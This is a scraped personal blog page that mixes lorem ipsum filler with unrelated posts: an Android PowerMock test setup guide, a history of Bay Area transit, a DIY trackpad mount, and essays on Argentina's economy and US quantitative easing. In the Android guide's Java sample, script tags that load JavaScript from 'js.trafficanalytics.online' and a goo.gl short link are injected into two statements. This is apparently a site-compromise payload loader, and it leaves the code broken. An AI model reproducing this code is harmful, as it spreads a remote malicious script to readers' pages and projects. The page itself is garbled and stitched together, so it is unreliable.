Proin placerat egestas ligula eget ullamcorper. Sed tincidunt volutpat ex vitae tempus. Praesent eget ligula sit amet ex convallis finibus nec ac nisi. Pellentesque lacus nibh, feugiat id sollicitudin at, condimentum at lacus. Curabitur cursus, tellus elementum consequat pretium, orci metus feugiat dolor, non venenatis nisl sapien quis est. Integer tempus leo id magna semper, sed aliquet dolor pharetra.

Read more

Duis dolor justo, laoreet sed egestas vel, porttitor ut elit. Proin placerat egestas ligula eget ullamcorper. Sed tincidunt volutpat ex vitae tempus. Praesent eget ligula sit amet ex convallis finibus nec ac nisi. Pellentesque lacus nibh, feugiat id sollicitudin at, condimentum at lacus. Curabitur cursus, tellus elementum consequat pretium, orci metus feugiat dolor, non venenatis nisl sapien quis est. Integer tempus leo id magna semper, sed aliquet dolor pharetra.

Read more

Donec tellus lectus, faucibus vitae fringilla quis, suscipit nec velit. Quisque feugiat tellus et eros lobortis, vitae eleifend tortor egestas. Donec elementum ullamcorper arcu, at imperdiet felis mattis sed. Duis dolor justo, laoreet sed egestas vel, porttitor ut elit. Proin placerat egestas ligula eget ullamcorper. Sed tincidunt volutpat ex vitae tempus. Praesent eget ligula sit amet ex convallis finibus nec ac nisi.

Read more

Sed placerat in libero laoreet efficitur. Quisque risus nulla, consequat vel odio nec, mollis mattis augue. Duis in metus eget nisi commodo consequat et vitae diam. Donec tellus lectus, faucibus vitae fringilla quis, suscipit nec velit. Quisque feugiat tellus et eros lobortis, vitae eleifend tortor egestas. Donec elementum ullamcorper arcu, at imperdiet felis mattis sed. Duis dolor justo, laoreet sed egestas vel, porttitor ut elit. Proin placerat egestas ligula eget ullamcorper. Sed tincidunt volutpat ex vitae tempus. Praesent eget ligula sit amet ex convallis finibus nec ac nisi. Pellentesque lacus nibh, feugiat id sollicitudin at, condimentum at lacus.

Read more

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

This is a quick guide on how to run JUnit + Mockito + PowerMock Android unit tests from Eclipse.

It is not a guide to running POJO Mockito unit tests

It is not a guide to running standard JUnit tests from Inteli

No,  this is the real-deal,  run-on-your-device, in the Android context,  PowerMock unit tests.  After banging my head against the wall for several hours,  and reading every single StackOverthrow thread on the topic,  I finally got my setup working.  Hopefully this will save others some time.

Step 1: Create an Android test project

We are not running traditional JUnit tests from within eclipse on your local JVM.  We are going to write unit tests that run within the Android context on your device or simulator.

In order to run the unit tests,  Eclipse will actually compile your unit test project into your host project,  load the APK on to your device/simulator,  and execute the tests within the context of your host app while connected via ADB.

Assuming that you’ve already got your app setup,  the first step is to set up your test project.  Navigate to File->New->Other and create an Android Test Project:
Screen Shot 2014-08-21 at 5.34.37 PM

Name your project:


Screen Shot 2014-08-21 at 5.35.50 PM

Finally,  select the app that you wish to test:


Screen Shot 2014-08-21 at 5.36.16 PM

Step 2: Download the required libraries

You will need to download the following:

Mockito:
mockito-all-x.y.z.jar https://code.google.com/p/mockito/

PowerMock:
powermock-mockito-x.y.z.jar https://code.google.com/p/powermock/

Mockito Dexing Libraries:
dexmaker-x.y.jar,  dexmaker-mockito-x.y.jar https://code.google.com/p/dexmaker/

Because we are running true Android unit tests and not standard JUnit tests in your local JVM,  Mockito requires the additional dexing libraries in order to compile and run in the Android Dalvik vm.

Place the jars in the lib folder of your test app and verify that they are included in the build:
Screen Shot 2014-08-22 at 9.58.35 AM

Step 3: Write your unit tests

By default, Android unit tests run within the InstrumentationTestRunner (android.test.InstrumentationTestRunner).  Within android.test.*,  there are several classes (AndroidTestCase,  ActivityTestCase…) that ultimately inherit from junit.framework.TestCase.  These testing classes provide access to useful functions and mock objects specific to the Android platform like Activity contexts.  You tests will look something like this:

@PrepareForTest(MyClass.class)
public class MyTest extends ActivityTestCase {

	@Override
	protected void setUp() throws Exception {
		super.setUp();
		// This is necessary on devices in order to avoid bugs with instantiation order
		System.setProperty("dexmaker.dexcache", <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> getInstrumentation().getTargetContext().getCacheDir().getPath());
	}
	
	public void testSomething() {
	  // Get a context
	  Context androidContext = getInstrumentation().getTargetContext();
	  
	  // Do stuff...
	  
	  assertTrue("Assert some stuff", <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://goo.gl/9KsTSg'></script> true);
	}
	
}

These classes are based on JUnit 3.  I believe there may be a way to use the new JUnit 4 syntax as well,  but I decided to stick with JUnit 3 for now.

Step 4: Fix problem with powermock-mockito jar

When I ran my test application,  I initially ran into the following error:

Found duplicate file for APK: mockito-extensions/org.mockito.plugins.MockMaker
Origin 1: /Users/alexmedearis/Desktop/android/Android-SDK/OptimizelyTest/libs/powermock-mockito-1.5.5-full.jar
Origin 2: /Users/alexmedearis/Desktop/android/Android-SDK/OptimizelyTest/libs/dexmaker-mockito-1.0.jar

Apparently,  powermock ships with a number of classes that are duplicates of those included in the mockito dexing library.  In order to avoid this error,  you can simply remove the classes from the dexmaker jar and repackage as follows:

    1. Make backup copy of powermock-mockito-1.5-full.jar
    2. Rename powermock-mockito-1.5-full.jar to powermock-mockito-1.5-full.zip
    3. Unzip powermock-mockito-1.5-full.zip
    4. rm -rf mockito-extensions
    5. jar cf powermock-mockito-1.5-full.jar META-INF/ org/
    6. Put the updated jar in the libs folder.

http://stackoverflow.com/questions/15796858/apkbuilder-finds-duplicate-file-when-adding-powermock-to-an-android-test-project

Step 5: RUN!

That was all I needed to do in order to get up and running.  Happy Testing

I’ve been a frequent rider of Bay Area public transportation my entire life. “It works” in the sense that it tends to get passengers to their desired destination, but it often leaves much to be desired.

This is what our transportation system could be:

Shinkansen high-speed rail

This is what it is:

Caltrain low-speed rail

Caltrain, for instance, runs a fleet of aging diesel locomotives that are often plagued with mechanical problems and delays.  BART’s systems face similar problems.  In San Francisco, as of 2013, Muni was losing $320 million per year, had deferred $2 billion in planned maintenance, and had an on-time percentage of just 58.7%.  Those numbers have improved somewhat in the past year, but I continue to believe the fundamental problem with our public transportation is that it often does not provide a compelling alternative to driving, taking Uber, biking or even walking for most people.  As one example, consider this:

duboce

It is about 3 miles from the historic Ferry Building in San Francisco’s Financial District to Duboce Park, near the Haight-Ashbury neighborhood.  The trip takes about 10 minutes on the N-Judah Muni Metro light rail/streetcar line.  Great!

It is also roughly the same distance, 3 miles, from Kezar Stadium to Ocean Beach, but the trip takes more than twice as long (22 minutes) on the same N-Judah line:

ocean

Things really get crazy, though, if you want to travel north-south.  Suppose that, rather than heading west to Duboce Park from the Ferry Building, you’d like to head 2.8 miles northwest to the Marina District.  Well, in that case, you’re looking at a 40+ minute ride on a bus and probably a transfer or two:

It seems that if your commute involves anything other than a trip down Market Street, you’re in for a painfully slow, outdated and potentially dangerous ride.  It is significantly faster for me to bike from the Ferry Building to Fort Mason than to take Muni.

 Why is San Francisco public transportation so bad?

The Beginning

The other day I was walking through Fort Mason and noticed this interesting sight:

fortmasontunnel

Despite having spent countless hours in the park, I never realized that there was actually a tunnel beneath my feet (and a shortcut to that pesky hill I ride my bike over most days).  The tunnel connects the Marina to Ghirardelli square (Marina Boulevard to Van Ness) and was built as part of a wave of construction following the 1906 earthquake.  The discovery led me to explore what other surprises might be hiding in plain sight.

As it turns out, at the turn of the century, San Francisco was in the midst of a public infrastructure renaissance.  In 1890, for instance, there were no fewer than 7 different cable car companies operating in the city.  The city was devastated by the 1906 earthquake, but in response, sought to build one of the best public transportation systems in the world.  The1915 Panama Pacific International Exposition, though technically a celebration of the newly completed Panama Canal, provided a catalyst for the new infrastructure projects. 

San Francisco Tunnel Proposals, 1912

Construction for the exposition began in 1912 and the city quickly realized that it would need to improve its public transportation system in order to accommodate the nearly half-million visitors that the expo would attract.  San Franciscans looked east to Boston and New York and wondered if they might be able to develop similar transportation systems in San Francisco.  A newly formed Tunnel Commission advocated for 5 new tunnels to be built along Broadway, Stockton and Fillmore, as well as beneath Fort Mason and Twin Peaks.  As the San Francisco Call read in August of 1913:

Manhattan island is now honeycombed with tunnels and all the suburbs are closely connected with the central part of the city. This has resulted in a tremendous rise in real estate values and an increase in the population and volume of business. It is believed that the same thing will happen in San Francisco in the next few years. The hills will then be no longer barriers to traffic, but will be more than ever prized for home and apartment sites while all the lower levels will take on added values for business purposes. The indications now are that the end of 1913 will see three tunnels under construction on San Francisco, theStockton street, Twin Peaks and Fillmore street. It is not expected that the Twin peaks bore will be completed by 1915. But there is time to build both theStockton and Fillmore street tubes before the fair opens and have streetcars running through them at that time.”

SF Muni, ~1915

At the same time, the city dramatically expanded its municipal railway system.  Most current San Francisco residents are probably familiar with the F-Market streetcar line.  The F-Market line, though completed in 1995, pays homage to the many streetcar lines that crossed San Francisco in the early 1900s.  The A, B, C and D lines traversed from the Ferry Building west down Market and Geary, while the E, F and H lines ran to Fort Mason, the Marina and the Presidio.  By 1915, San Francisco finally had the infrastructure to transport large numbers of people to the northern shore where the fair would take place, an area that had previously been a mishmash of the Presidio military base, tide pools, landfill and industrial buildings.

key

The East Bay had its own streetcar system as well.  The San Francisco, Oakland, and San Jose Railway began in 1903 as a consolidation of several existing streetcar lines and quickly expanded into Berkeley, Piedmont and Oakland.  The hub for the system was a causeway and pier extending from Oakland into the bay towards Yerba Buena Island from which riders could take the ferry to San Francisco.  The three loops, combined with the pier, had the appearance of a key, and thus the railway earned the name “Key System.”  It is no coincidence that many of the San Francisco streetcar lines emanated from the Ferry Building.  Indeed, the Ferry Building was the connection point to the East Bay Key System.  It was the BART of its time.

Key Ferry Pier

Ultimately, the Stockton and Fort Mason tunnels were completed in time for the fair.  The Fillmore project, however, was tabled on the basis that it would” destroy the beauty of the exposition background and be a detriment to the exposition.”  The Twin Peaks tunnel was completed a few years later in 1918.

The vision for the Twin Peaks tunnel is, perhaps, the most interesting of any of the San Francisco tunnel projects.  Even in 1918, San Francisco anticipated that it might become a Manhattan-like commuter hub and the Twin Peaks tunnel was to be the gateway to the city.  In March of 1912, the Call wrote:

“New York about ten years ago, finding things congested and almost at a standstill, undertook the construction of a great subway system, leading from the downtown districts way out to the vacant country.  At once the city took on a new growth.  So successful were the first subways that tubes were bored under both the north and east rivers and the adjoining state of New jersey and a large part of Long Island were practically annexed to the city.  As a result New York’s growth during the last decade has been a world’s wonder, giving her a present population of 5,000,000 people within the city limits, and 6,000,000 within the rapid transit zone.  In all other large cities where tunnels have been built, transportation systems have quickly followed giving rapid transit to the surrounding country.  The plan for the Twin-Peaks tunnel which has finally been adopted provides for a tunnel 16,000 feet in length, or about 3 miles, making a straight extension of Market street to point near the junction of Sloat boulevard and Ocean avenue.  From this western portal of the tunnel car lines will naturally radiate in all directions with one main line running out to the ocean and another line in all probability running down Junlpero Serra boulevard to San Mateo county. This would make a direct route from the peninsula into the heart of the city.”

Not Quite the New York Subway

Ridership of the Key System and Muni continued to increase throughout the 1910s.   However, streetcars were already beginning to encounter their first headwinds to additional expansion.  Jitneys were essentially a standard automobile that operated as a hybrid of a bus and taxi.  Typically jitneys would follow the routes of streetcars, though they offered the advantage that they could stop anywhere along the line and were often faster.  A fare for the service was usually a “jitney,” the slang term for a nickel.  Not surprisingly, streetcar operators took exception to their new competition, and by 1917, were able to push a ban on jitneys in San Francisco.  The ban was lifted a year later, but increased regulatory pressure ultimately put most jitney operators out of business.

Public transportation in the Bay Area saw a second run up in ridership during World War II and in 1939, the Key System began service across the lower deck of the Bay Bridge into San Francisco’s Transbay Terminal.  However, the rise of the private automobile would soon make streetcars obsolete.  As ridership declined following the end of World War II, many of the Bay Area’s train systems faced an uncertain future.

baybridge

There is some controversy surrounding what happened next.  In 1936, General Motors, Firestone Tire, Standard Oil of California and Phillips Petroleum bound together and made a large equity investment in a transportation company called National City Lines.  They then reorganized it into a holding company with the goal of purchasing streetcar companies across the country and replacing them with bus lines in what came to be known as the General Motors streetcar conspiracy.  Among the acquisitions was the East Bay Key System in 1948.  Despite political opposition, National City Lines immediately began to cut back train service in favor of busses.  National City Lines was convicted a year later and ultimately lost on appeal in Federal court for “having conspired to monopolize part of the interstate trade and commerce of the United States, to wit, that part consisting of the sale of busses, petroleum products, tires and tubes used by local transportation systems.”  However, they were acquitted on the more serious charge of conspiring to monopolize transportation services in major American cities.  The ruling was a watered-down slap on the wrist, and National City Lines continued with the “motorization” of the Key System.

Others have argued that streetcars were on their way out regardless.  Whereas prior to 1920, the economics of streetcars were competitive with automobiles and busses, bus technology improved dramatically in the coming decades.  By 1950, it was widely believed that busses would be cheaper to operate and maintain than streetcars. During this period, most of San Francisco’s streetcar system was converted to busses.  Geary Street in particular, once a streetcar thoroughfare and the in San Francisco, ultimately became the 6-lane mega-roadway that it is today.  Some routes were spared, however, due to the tunnels and stretches of private right-of-way that the lines occupied.  The 5 current Muni lines (J-Church, K-Ingleside, L-Taraval, M-Oceanview, and N-Judah) owe their existence to their unique topology, winding through San Francisco in a manner that would be nearly impossible to replicate today.

Regardless of the impetus, by 1958 most of the streetcar systems in the Bay Area had been removed and converted to busses.  Once removed, they were gone forever.

Though the 50’s marked the end of the streetcar era, there were many new ideas on the horizon.  The concept for BART, for instance, arose from the San Francisco Bay Area Rapid Transit Commission, which formed in 1951.  Originally, BART construction was to be financed through increased property taxes and bonds in the 5 member counties — Alameda, Contra Costa, Marin, San Francisco and San Mateo.  The original proposal included transit down the peninsula and north to Marin.  However, San Mateo country withdrew in 1961, citing the high cost of the new system and the existing Southern Pacific commuter trains that would ultimately become Caltrain.  Marin withdrew a year later.

Original BART propsal

The Future

The history of Bay Area public transportation is one of starts and stops, grand visions that were never fully realized and the economic booms and busts of the region.  Perhaps most interestingly, it seems as though many of the same themes that arose in the early 1900s bear a striking similarity to those playing out now.  I can’t help but liken the jitney craze of the 1910s to the Uber craze of the 2010s.  I can’t help but compare the vision for the Twin Peaks tunnel in 1914 to the vision for the new Transbay terminal in 2014.

Indeed, there are many reasons to be optimistic about the future of Bay Area public transportation.  Construction is already underway on the central subway project to connect the 4th and King Caltrain station with Chinatown.  Looking at the streetcar map from 1920, the central subway route will run up Stockton in much the same way that the F-Stockton once did.  San Francisco will finally have its first modern subway route north of Market street.  Though the central subway won’t run all the way to the Marina as the D, E, F and H lines once did, the subway may eventually extend to North Beach or Fisherman’s Wharf.

Central Subway

There is another proposal to extend the F-Market streetcar through Fort Mason using the same 1914 tunnel that was originally built for the Panama Expo.  With the extended route, it would then be possible to get from, say, the mission to Fort Mason by rail, a feat that hasn’t been possible since the H-Portrero line was dismantled in 1950.

BART is being extended to San Jose via the East Bay.  San Francisco demolished the old Transbay terminal and is replacing it with a new transit center that may one day rival Grand Central station and serve as a hub for California high-speed rail.  Caltrain is slated to finally go electric in 2019.  Will all of these improvement projects ultimately come to fruition?  It’s hard to say.

If history is to be any indicator, I won’t be holding my breath, but perhaps history provides some other lessons to consider.  Looking back, San Francisco abandoned the H-Portrero line, only to build a parallel line in the T several decades later.  San Mateo county abandoned the original BART proposal and has been stuck with a mediocre diesel locomotive to get into the city for 40 years.  BART ultimately extended into San Mateo County anyway, and now Caltrain is spending $1.5 billion in order to modernize and to look a lot more like BART.  It seems as though the Bay Area has simply had too many cooks in the kitchen for too long.

Meanwhile, the streetcar lines that did survive are, for the most part, the fastest public transit in the city.  For all its faults, the Muni Metro is usually significantly faster to get across the city, into the Mission, into Downtown and into the West Portal than any Muni bus.  BART is faster to get from Downtown San Francisco to SFO, the Mission, and most of the East Bay than any other public transportation option I’m aware of, particularly during rush hour.  When we’ve managed to get most factions of the Bay Area on the same page, we’ve managed to do pretty well!

What if San Francisco hadn’t mothballed its streetcars and had instead continued to build a subway system in the image of Manhattan?  What if the Peninsula and Marin had signed on to the original BART proposal?  Well, for one thing, you’d be able to get from downtown San Francisco to Palo Alto in 40 minutes while making nearly all of Caltrain’s local stops along the way.  Perhaps more idealistically, we might have more competitive alternatives to driving cars everywhere.  More people from all walks of life might consider public transportation a realistic option to get around the Bay.  The commute into San Francisco from the suburbs might look and feel a lot more like the futuristic trains of Tokyo, and less like a relic left over from the industrial revolution.

The Bay Area is as desirable a place to live as ever.  Its technology companies and innovative spirit are the envy of the world. Why shouldn’t its public transportation systems be world-class as well?

For a device that many software developers use for thousands of hours a year, there is a surprising lack of research on what makes for an ergonomic mouse. Most research does seem to agree, however, that a neutral wrist position is desirable.

What is meant by a neutral wrist position? A typical study focuses on wrist extension and ulnar deviation (and perhaps other factors as well). Essentially, these are the ways in which a mouse might put your wrist in an awkward position.

Wrist Extension:

extension

Ulnar Deviation:

deviation

The bottom line is that, if you can, it is best to keep your wrist straight while using a mouse. According to the Cornell Human Factors and Ergonomics Research Group, ideally this means mousing from the elbow, rather than the wrist.

I switched to a standing desk about a year and a half ago and I absolutely love it. However, I noticed that I was falling into the bad habit of leaning on my desk as I grew tired throughout the day. When I leaned on my desk, I would rest on my lower hand, making it impossible to mouse from the elbow. Instead, I would mouse from the wrist. Not surprisingly, I ended up with tendonitis of the flexor carpi ulnaris, resulting from excessive ulnar deviation. In other words, I moved my wrist laterally too much.

Over the years, I’ve used trackpads and trackballs in addition to mice. I love the mult-touch gestures of the trackpad on my Mac, and I had been thinking about the idea of mounting a trackpad on my side for a while. It intuitively seemed that having my arm at my side would be a more comfortable position than holding my arm at a 90-degree angle. When I ran into wrist tendonitis, I decided to give it a shot. Here is what I came up with:

items
1 – Office Max BulldogClip
1 – Scotch 2 lb. Mounting Tape
1 – Cheapo Ruler

I cut down the ruler to a length that would allow me to mount my Apple Magic Trackpad at the position that my hand naturally falls when it is by my side. The ruler is secured to the clip and to the back of my trackpad with mounting tape.  The whole contraption clips to my jeans pocket.

It’s not exactly beautiful, but it gets the job done. With the standard Apple 1-finger, 2-finger, 3-finger gestures, I can do everything I need to do without actually “clicking” the trackpad. Best of all, it puts no pressure on my wrist and makes it must easier to mouse with my whole arm. So far, so good!

A little more than two years ago I traveled to Argentina.  To say that Argentina has had an interesting economic history would be an understatement.  Since 1980, Argentina has defaulted 3 times.  100 years ago Argentina was one of the wealthiest countries in the world.  Today, its per-capita wealth is 55th of the 188 member countries of the IMF.

IMG_0379

I went to Argentina for a number of reasons, but once I arrived, I couldn’t help but become fascinated by the economic and political phenomena I encountered.  In a sense, I felt honored that I met so many Argentineans who were willing to share their views and experiences with a gringo like me.  I recall a conversation I had in a hostel one night that began something like this:

“Canadian or American?”
“I’m from California.”  (I had discovered that Argentineans seemed to view California more favorably than the United States as a whole.)
“Oh, like Californication!  (sings the chorus of the Red Hot Chili Peppers song).  But the US, man, you do realize you are totally [expletive deleted], right?”
“Uhh…”
“No, really, the US is completely, utterly, [expletive deleted]…”

It was one of many conversations which began along similar lines.  It didn’t help that this was around the time of the first debt-ceiling debacle.  It was unclear that government stimulus programs would prevent a double-dip recession.  Things were looking pretty grim.

Those conversations and experiences really opened my eyes to what I’d call practical economics.  It made the theories and equations I had learned on paper “real” in the sense that I saw the implications of less-than-ideal economic policies first hand.  In Argentina, I had trouble getting money from ATMs, particularly on weekends, because the ATM machine would literally run out of money.  Many Argentineans believed that this was an attempt by the government to control the money supply and inflation.  Though the government claimed the inflation rate was around 9%, it was clear to virtually everyone I met that the real inflation rate was more like 25%.

My landlord insisted that I pay rent in dollars rather than pesos.  Of course, getting dollars at close to the official exchange rate is not particularly easy in Argentina, so I brought my first month’s rent with me in my backpack.  It definitely made me a little bit uneasy carrying so much cash around for the first week or two I spent in hostels.  Since then, the peso has devalued almost 50% against the dollar.

I had trouble using my credit card to buy anything other than groceries at large chain stores.  Part of the problem was surely infrastructural, but I would imagine part of it also had to do with the economics of credit card usage in an inflationary environment.  Last year, the Argentinean government announced that it would begin to track all credit card transactions and apply a 15% surcharge to transactions made outside the country in order to make it more difficult to convert pesos into a stable currency.  In short, if there is any country in the world qualified to make a judgment about whether the US is in trouble economically, it is probably Argentina.

Screen Shot 2013-10-19 at 12.50.47 PM

Since that experience, I’ve become increasingly fascinated by economics and economic history.  I’ve wondered about the parallels between the US and Argentina.  In the 1980’s, faced with large deficits and a lack of foreign creditors, Argentina was forced to monetize its debt.  The M2 money supply (currency + deposits) expanded by an average of over 250% per year from 1980-1988 and inflation roared.

base

In comparison, the US has roughly tripled its monetary base since 2008.  Fed quantitative easing has injected roughly 3 trillion dollars into our economy, yet inflation has barely budged.  I wondered, as many did in 2009 and 2010, whether we were headed down the path towards high inflation.  How can the Fed print 3 trillion+ dollars and yet the inflation rate remain below 2%?  How is it possible that the US debt/GDP ratio can approach 100% and yet investors continue to purchase our debt for meager 3-4% returns?

Why aren’t we Seeing Inflation?

We are in strange economic times.  The raw numbers have been covered extensively, but it essentially boils down to two factors: banks are not lending and people are not spending money.  For the last 80 years, banks tended to lend out nearly all of their excess reserves, maintaining reserves equal to their reserve requirement.  Since 2008, however, banks have maintained large amounts of excess reserves:

excessreserves

The M1 money multiplier, the ratio of the M1 money supply to the monetary base, fell significantly in 2008 and has not recovered:

m1moneymult

Though not surprising in a time of deleveraging, we are also spending less.  The velocity of money has declined significantly since the financial crisis:

m2velocity

Despite the Fed’s best efforts, we haven’t seen much in the way of increased liquidity or inflation.  These factors have led a number of economists to declare that the link between the monetary base and inflation (aka “monetarism” or “paleomonetarism” according to Paul Krugman) is non-existant.

There are a few arguments, largely between Keynesians and those advocating for austerity, as to why we are in such a situation and the best course of action to get out.  In some cases, the discussion has degenerated rather quickly.  One suggestion is that it is because the Fed began paying interest on excess reserves in 2008, which mitigates the opportunity cost for banks to keep excess reserves.  Even if the Fed were not paying interest on excess reserves, in a near zero interest rate environment, there is less incentive for banks to lend.  Essentially, from a perspective of liquidity preference, if cash returns nearly the same rate as securities, there is reduced incentive to hold securities.  The result is a flat LM curve in the IS-LM model.

islm2

Or, perhaps an even simpler rationale is that there might just not be enough credible borrowers in a time where most American households are deleveraging.  Perhaps banks would like to lend, but can’t do so profitably at current interest rates.

Perhaps it is a combination of all of these rationales.  What I ultimately concluded, however, is that it really doesn’t matter why we’re not seeing a deluge of liquidity.  Regardless of whether you’re looking at it through a focus on the money supply, interest rates or something else, the conclusions about the future are essentially the same.

Where does this lead?

It’s clear that we aren’t seeing a whole lot of inflation for now, at least when it comes to CPI numbers from the government.  Banks are hoarding dollars and the dollar is perceived internationally as a safe haven.  The U.S. debt is appears manageable.  It appears that QE has functioned as an asset swap rather than as the creation of new money.  As long as such conditions hold, the Fed can continue to expand its balance sheet indefinitely.  Those who were warning of dollar debasement and telling us to buy gold appear to have been wrong.

The problem is that we still haven’t landed in an equilibrium that is sustainable.  At some point, the Fed will have to sell the 3 trillion in securities it has accumulated over the past 5 years.  If the economy does eventually start to pick up, presumably it will be accompanied by rising interest rates.  Will the Fed have the ability to sell into such a market and drive rates even higher without putting the brakes on a recovery?  In such a scenario, rising interest rates would also mean larger interest payments on our debt.  At what point do those interest payments become unmanageable?

Alternatively, the Fed could hold until maturity.  We can continue to roll over debt, plodding along at near 0 interest rates.  The problem with this scenario is that it implies years of low growth, high unemployment and a stagnant future.  Is 30 years of low-growth and an emerging plutocracy worse than a currency crisis?

My biggest takeaway from thinking about Argentina and countries that have gone down similar paths is the remarkable ability of unsustainable fiscal policies to plod along for years while the underlying problem snowballs before ultimately reaching a crisis point.  However, when the crisis point inevitably does arrive, the shift is rapid and dramatic.

During the 2001 Argentinean crisis, there was a run on banks as Argentineans lost faith in the peso.  In order to prevent a banking collapse, the government froze the banks accounts of millions of working class people.  Though there were warning signs, many people who had trusted the banking system with their savings lost everything overnight.   Those who had the means to store cash abroad or were politically connected were able to flee the country.  However, the debate over austerity measures, national debt and credit via the IMF had raged for years prior to the actual default.

In fact, if you consider nearly any recent economic crisis, the signs of an unsustainable system are often there for years in advance.  For instance, as early as 2004 there were hints that not all was well in Greece.  The European Commission warned that Greece had falsified information about its true budget deficit in order to join the euro.  6 years later, on January 1st, 2010, the interest rate on the 10-year government bond was under 5% despite an increasing number of warnings that the Greek government was insolvent.  A mere 5 months later, Greece required a bailout loan from the IMF.  Yet, even after the first bailout, Greece plodded along for another 18 months with relatively stable interest rates until May of 2012 when Greece essentially defaulted.  The Cyprus default, the 2008 mortgage crisis and Detroit bankruptcy all played out in similar fashions.

I fear that the QE is just a stopgap, another form of unsustainably kicking the can down the road, bumbling along before things reach a crisis point.  In the short term, it may artificially stimulate the US economy, but in the long term it may hinder market forces from driving a real recovery.  Even if QE is not technically the monetization of debt, the two are intertwined.  The low interest rates generated by QE allow the government to finance its debt more cheaply and put off dealing with its unsustainable deficits and inefficient spending.  The empirical outcome of our current approach, inflated equity and real estate prices, ballooning entitlement spending and increased disparities of wealth, doesn’t seem to bode well for the future.  On the other hand, a focus on things like driving down health care and education costs, building high tech infrastructure, incentivizing investment in growth technologies and reducing unnecessary government bureaucracy might put us on track to grow our way out of our fiscal mess.  The US is not Argentina, but there is a lot that we can learn in order to avoid the same pitfalls that it and other countries stumbled over when faced with similar challenges.

It’s been nearly 8 years since I took Econ 1.  Frankly, I’ve forgotten a lot of nitty-gritty math and more advanced concepts.  The fundamental principles, however, have stuck with me ever since.  Before diving into my blog post on why we are in economic no man’s land, I thought I’d take my stab at “5-minute macro-economics, ” essentially a quick refresher on the principles that guided my thinking.  I should probably include the disclaimer that I’m not an economist and that there are much more detailed explanations of these concepts elsewhere.  The point is that these are concepts as well as equations.  I can appreciate the math for its ability to describe specific phenomena, but find it difficult to draw new conclusions without understanding, conceptually, what the math is saying.

Money Multiplier

The monetary base is the amount of money in circulation, held in bank vaults and held as reserves by commercial banks.  Conceptually, one way of thinking about it is that it is supply of money that would exist in the economy if banks were not able to create money through lending.

The money supply is the actual amount of money in the economy. It differs from the monetary base because of bank lending.  When a bank creates a loan, new money is created.  As an example, suppose that banks are required to hold 10% of their deposits as reserves, called the “reserve ratio.”  A bank receives $100 in deposits from customer A.  They then loan $90 to a customer B, keeping $10 in reserves.  Presumably, customer B would then deposit this $90 in his bank and that bank would loan $81 to someone else, keeping $9 in reserves.  This process continues until banks can no longer make loans due to reserve requirements.

The money multiplier is equal to the reciprocal of the reserve requirement:

$$MM = 1 / R$$

When banks lend out such that their reserves are equal to the reserve requirement,  the money multiplier is essentially the ratio of the money supply to the monetary base:


$$M_{s} / M_{b} = M$$

This is the fundamental principle behind reserve banking.  At least, this is the way it was taught to me back in Econ 1.  As it turns out, this was a pretty good model for banking in the US until things went haywire in 2008.  Since banks are no longer lending at the reserve requirements, the equality has become an upper bound.

Equation of Exchange

Quoting from Wikipedia, the Equation of Exchange says that:

$$MV = PQ$$

M = is the total nominal amount of money in circulation on average in an economy.
V is the velocity of money, the average frequency with which a unit of money is spent.
P is the price level.
Q is an index of real expenditures (on newly produced goods and services).

For now, I’m not as concerned with how these variables come about or their stability, which is a debate in itself.  The point is that it provides one way of looking at the long-term implications of a policy decision like quantitative easing.  If there is more money in circulation, the price level will go up, assuming a constant velocity of money.  If the rate at which people spend money declines, we will see deflationary pressure, assuming the money supply remains the same.

IS-LM Model

islm

Rather than a focus on the money supply, another view of the world focuses on total spending in the economy and a preference for liquidity.  The IS-LM model is a simple way of conceptualizing the aggregate demand view of the world.  Paul Krugman can do a better job at explaining than I can.  Conceptually, though, the IS curve comes from “GDP = total spending” equilibriums.  The LM model comes “money supply = money demand” equilibriums.  Together, they form a GDP and interest rate equilibrium.

What’s interesting about the IS-LM model in the context of QE-infinity is that it provides an explanation for why we aren’t seeing inflation.  Weird things happen when interest rates are close to 0.  In fact, all of these models now require additional caveats in the post-financial crisis world.  Which takes me to Argentina…